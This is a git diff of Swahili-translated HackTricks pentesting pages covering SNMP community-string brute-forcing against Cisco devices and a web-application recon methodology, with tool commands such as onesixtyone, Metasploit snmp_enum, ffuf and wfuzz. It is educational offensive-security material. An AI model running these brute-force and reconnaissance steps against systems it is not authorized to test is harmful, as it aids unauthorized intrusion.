Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** inafanya kazi juu ya UDP na bandari 161/UDP kwa ujumbe wa jumla na 162/UDP kwa ujumbe wa mtego. Protokali hii inategemea nyuzi za jamii, zinazofanya kazi kama nywila zinazowezesha mawasiliano kati ya wakala wa SNMP na seva. Nyuzi hizi ni muhimu kwani zinatambulisha viwango vya ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma-kandika (RW)**. Njia maarufu ya shambulio kwa wapimaji ni **kujaribu nguvu za nyuzi za jamii**, lengo likiwa kuingia kwenye vifaa vya mtandao.
|
||||
**SNMP** inafanya kazi juu ya UDP na bandari 161/UDP kwa ujumbe wa jumla na 162/UDP kwa ujumbe wa mtego. Protokali hii inategemea nyuzi za jamii, zinazofanya kazi kama nywila zinazowezesha mawasiliano kati ya wakala wa SNMP na seva. Nyuzi hizi ni muhimu kwani zinatengeneza viwango vya ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma na kuandika (RW)**. Njia maarufu ya shambulio kwa wapimaji ni **kujaribu nguvu za nyuzi za jamii**, lengo likiwa kuingia kwenye vifaa vya mtandao.
|
||||
|
||||
Chombo cha vitendo kwa ajili ya kutekeleza mashambulizi kama haya ya nguvu ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone), ambacho kinahitaji orodha ya nyuzi za jamii zinazoweza kutokea na anwani za IP za malengo:
|
||||
Chombo cha vitendo kwa ajili ya kutekeleza mashambulizi kama haya ya nguvu ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone), ambacho kinahitaji orodha ya nyuzi za jamii zinazoweza kuwa na anwani za IP za malengo:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **hacking career** na kujaribu kuvunja yasiyovunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
Ikiwa unavutiwa na **hacking career** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.pn
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack kile kisichoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -36,37 +36,37 @@ PORT STATE SERVICE
|
|||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web API Guidance
|
||||
### Mwongozo wa Web API
|
||||
|
||||
{% content-ref url="web-api-pentesting.md" %}
|
||||
[web-api-pentesting.md](web-api-pentesting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Methodology summary
|
||||
## Muhtasari wa Mbinu
|
||||
|
||||
> Katika mbinu hii tutadhani kwamba unataka kushambulia kikoa (au subdomain) na tu hicho. Hivyo, unapaswa kutumia mbinu hii kwa kila kikoa, subdomain au IP iliyogunduliwa yenye seva ya wavuti isiyojulikana ndani ya upeo.
|
||||
|
||||
* [ ] Anza kwa **kutambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **hila** za kukumbuka wakati wa mtihani mzima ikiwa utaweza kutambua teknolojia hiyo kwa mafanikio.
|
||||
* [ ] Je, kuna **udhaifu** wowote unaojulikana wa toleo la teknolojia hiyo?
|
||||
* [ ] Unatumia **teknolojia maarufu** yoyote? Je, kuna **hila** yoyote ya manufaa ya kupata taarifa zaidi?
|
||||
* [ ] Je, kuna **udhaifu unaojulikana** wa toleo la teknolojia hiyo?
|
||||
* [ ] Unatumia **teknolojia inayojulikana**? Je, kuna **hila muhimu** za kupata taarifa zaidi?
|
||||
* [ ] Je, kuna **scanner maalum** ya kukimbia (kama wpscan)?
|
||||
* [ ] Anzisha **scanners za matumizi ya jumla**. Hujui kamwe kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
|
||||
* [ ] Anzisha **scanners za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
|
||||
* [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS scan** (ikiwa HTTPS).
|
||||
* [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, **folda** na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**.
|
||||
* [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**.
|
||||
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kupelelezwa._
|
||||
* [ ] **Directory Brute-Forcing**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
|
||||
* [ ] **Brute-Forcing ya Directory**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
|
||||
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kufanywa Brute-Forced._
|
||||
* [ ] **Kuangalia nakala za akiba**: Jaribu kuona kama unaweza kupata **nakala za akiba** za **faili zilizogunduliwa** kwa kuongeza nyongeza za kawaida za akiba.
|
||||
* [ ] **Brute-Force parameters**: Jaribu **kupata parameta zilizofichwa**.
|
||||
* [ ] **Ukaguzi wa Nakala**: Jaribu kuona kama unaweza kupata **nakala** za **faili zilizogunduliwa** kwa kuongeza nyongeza za kawaida za nakala.
|
||||
* [ ] **Brute-Force parameta**: Jaribu **kupata parameta zilizofichwa**.
|
||||
* [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia aina zote za **udhaifu** zinazohusiana nayo.
|
||||
* [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Toleo la Seva (Lina Udhihirisho?)
|
||||
|
||||
### Identify
|
||||
### Tambua
|
||||
|
||||
Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la seva inayotumika.\
|
||||
**HTTP headers na cookies za jibu** zinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
**Vichwa vya HTTP na kuki za jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
|
@ -117,17 +117,17 @@ Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** maar
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Kumbuka kwamba **domain** hiyo hiyo inaweza kuwa ikitumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo awali au **zingine yoyote**, usisahau **kutafuta mtandaoni** tricks mpya (na unijulishe!).
|
||||
_Kumbuka kwamba **domain** ile ile inaweza kuwa inatumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo juu au **zingine yoyote**, usisahau **kutafuta kwenye Mtandao** tricks mpya (na unijulishe!).
|
||||
|
||||
### Source Code Review
|
||||
|
||||
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **White box test** ya programu mwenyewe kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
|
||||
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **White box test** ya programu hiyo, kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
|
||||
|
||||
* Je, kuna **Change-log au Readme au Version** file au chochote chenye **version info accessible** kupitia wavuti?
|
||||
* Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** (inaweza kufikiwa?) yenye credentials (majina ya watumiaji au nywila)?
|
||||
* Je, **passwords** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inayotumika?
|
||||
* Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inayotumika?
|
||||
* Je, **passwords** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inatumika?
|
||||
* Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inatumika?
|
||||
* Je, unaweza **kufikia yoyote ya hizi files** kwa kutumia udhaifu wowote?
|
||||
* Je, kuna **maelezo ya kuvutia katika github** (masuala yaliyotatuliwa na yasiyotatuliwa)? Au katika **commit history** (labda **password iliyoingizwa ndani ya commit ya zamani**)?
|
||||
|
||||
|
@ -190,11 +190,11 @@ Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data z
|
|||
* Tengeneza kosa kwa kutoa ingizo kama **`/~randomthing/%s`** kwenye **mwisho** wa **URL**
|
||||
* Jaribu **HTTP Verbs tofauti** kama PATCH, DEBUG au makosa kama FAKE
|
||||
|
||||
#### **Angalia ikiwa unaweza kupakia faili (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
#### **Angalia kama unaweza kupakia faili (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa ya kutosha kwa **kupakia faili** katika folda ya mzizi jaribu:
|
||||
|
||||
* **Brute Force** akidi
|
||||
* **Brute Force** akreditif
|
||||
* **Pakia faili** kupitia WebDav kwa **sehemu** ya **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
|
||||
|
||||
### **Vulnerabilities za SSL/TLS**
|
||||
|
@ -227,7 +227,7 @@ Zindua aina ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyin
|
|||
* [**meg**](https://github.com/tomnomnom/meg) (go): Chombo hiki si spider lakini kinaweza kuwa na manufaa. Unaweza tu kuashiria faili yenye mwenyeji na faili yenye njia na meg itachukua kila njia kwenye kila mwenyeji na kuhifadhi jibu.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kuonyesha JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotayarishwa ni la zamani na msimbo wa sasa haujajitengeneza.
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML spider inayotumia watoa huduma wa nje (wayback, otx, commoncrawl)
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni script itakayopata URLs zenye parameta na kuziorodhesha.
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni script itakayopata URLs zenye parameter na kuziorodhesha.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kuonyesha JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, yenye uwezo wa kuboresha JS inayoweza kutafuta njia mpya katika faili za JS. Inaweza kuwa na manufaa pia kuangalia [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni wrapper ya LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutolewa kwa mwisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaida kwa wawindaji wa makosa, red teamers, infosec ninjas.
|
||||
|
@ -237,26 +237,26 @@ Zindua aina ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyin
|
|||
* [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pata ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakua ukurasa.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana za awali.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na parameta katika faili za JS.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na params katika faili za JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kinapewa URL ya .js.map kitakupa msimbo wa JS ulioimarishwa.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni chombo kinachotumika kugundua mwisho kwa lengo fulani.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gundua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni kivinjari cha wavuti cha GUI chenye vipengele vingi vilivyoundwa kwa wataalamu wa usalama wa mtandao.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [chombo cha amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) cha kutoa URLs, njia, siri, na data nyingine za kuvutia kutoka kwa msimbo wa chanzo wa JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** ili **kutoa parameta na mwisho** kutoka kwa ombi ili kuunda orodha ya maneno ya kawaida kwa fuzzing na orodha.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Vinjari (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni GUI ya hali ya juu ya usalama wa wavuti Crawler/Spider iliyoundwa kwa wataalamu wa usalama wa mtandao.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [chombo cha amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) kwa kutolewa kwa URLs, njia, siri, na data nyingine za kuvutia kutoka kwa msimbo wa chanzo wa JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** ili **kutolewa kwa paramters na mwisho** kutoka kwa ombi ili kuunda orodha maalum ya maneno kwa fuzzing na orodha.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Chombo bora kwa hili.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo kinachoweza kupatikana.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uwe na uhakika wa brute-force **zote** **directories zilizopatikana** kwa kutumia **hii mbinu** na zote **directories zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **recursively** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
|
||||
Tools:
|
||||
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** **directories zilizopatikana** kwa kutumia **hii mbinu** na zote **directories zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **recursively** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
|
||||
Zana:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **pole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha kiotomatiki na utafutaji wa kurudi. Pole sana ikilinganishwa na chaguzi nyingine.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haikubali vyeti vilivyojitiisha kiotomatiki lakini** inaruhusu utafutaji wa kurudi.
|
||||
* **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **pole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha kiotomatiki na utafutaji wa kurudiwa. Pole sana ikilinganishwa na chaguzi nyingine.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haikubali vyeti vilivyojitiisha kiotomatiki lakini** inaruhusu utafutaji wa kurudiwa.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha kiotomatiki, **haikubali** **recursive** search.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utafutaji wa kurudi.**
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utafutaji wa kurudiwa.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kinapewa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia".
|
||||
|
@ -283,21 +283,21 @@ Tools:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
_Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing au spidering, inapaswa kufanywa Brute-Forced._
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTMLs ambavyo vinaweza kuwa na hatari ya kuchukuliwa.
|
||||
* **File Backups**: Mara tu unapopata faili zote, angalia nakala za faili zote zinazoweza kutekelezwa ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Discover new parameters**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwezekana, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili la wavuti linaloweza kutekelezwa.
|
||||
* **Discover new parameters**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameters zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameters zilizofichwa kwenye kila faili ya wavuti inayoweza kutekelezwa.
|
||||
* _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Comments:** Angalia maoni ya faili zote, unaweza kupata **credentials** au **ufunctionality iliyofichwa**.
|
||||
* Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** **miyingi** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
|
||||
* **API keys**: Ikiwa **unapata funguo zozote za API** kuna mwongozo unaoelekeza jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API keys: Ikiwa unapata funguo zozote za API zinazoonekana kama **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuangalia ni APIs zipi funguo hiyo inaweza kufikia.
|
||||
* **API keys**: Ikiwa **unapata funguo zozote za API** kuna mwongozo unaoonyesha jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API keys: Ikiwa unapata funguo zozote za API zinazoonekana kama **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuangalia APIs ambazo funguo hiyo inaweza kufikia.
|
||||
* **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au kiungo chochote kinahusiana na **S3 bucket**. Katika kesi hiyo, [**angalia** **permissions** za bucket](buckets/).
|
||||
|
||||
### Special findings
|
||||
|
@ -309,15 +309,15 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
|
|||
* Angalia **viungo** kwa faili nyingine ndani ya **CSS** files.
|
||||
* [Ikiwa unapata faili ya _**.git**_ habari fulani inaweza kutolewa](git.md)
|
||||
* Ikiwa unapata _**.env**_ habari kama funguo za api, nywila za db na habari nyingine zinaweza kupatikana.
|
||||
* Ikiwa unapata **API endpoints** unapaswa pia kujaribu [kuzi](web-api-pentesting.md). Hizi si faili, lakini labda "zitakuwa kama" hizo.
|
||||
* **JS files**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili la JS lililopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ni hatari.
|
||||
* Ikiwa unapata **API endpoints** unapaswa pia kujaribu [hizi](web-api-pentesting.md). Hizi si faili, lakini labda "zinaweza kuonekana" kama hizo.
|
||||
* **JS files**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili ya JS iliyopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ina udhaifu.
|
||||
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* Katika matukio kadhaa utahitaji **kuelewa kanuni za kawaida** zinazotumika, hii itakuwa na manufaa: [https://regex101.com/](https://regex101.com)
|
||||
* Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameta au kuonekana kwa fomu mpya kunaweza kuashiria uwezekano wa kazi mpya yenye udhaifu.
|
||||
* Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameter au kuonekana kwa fomu mpya kunaweza kuashiria uwezekano wa kazi mpya yenye udhaifu.
|
||||
|
||||
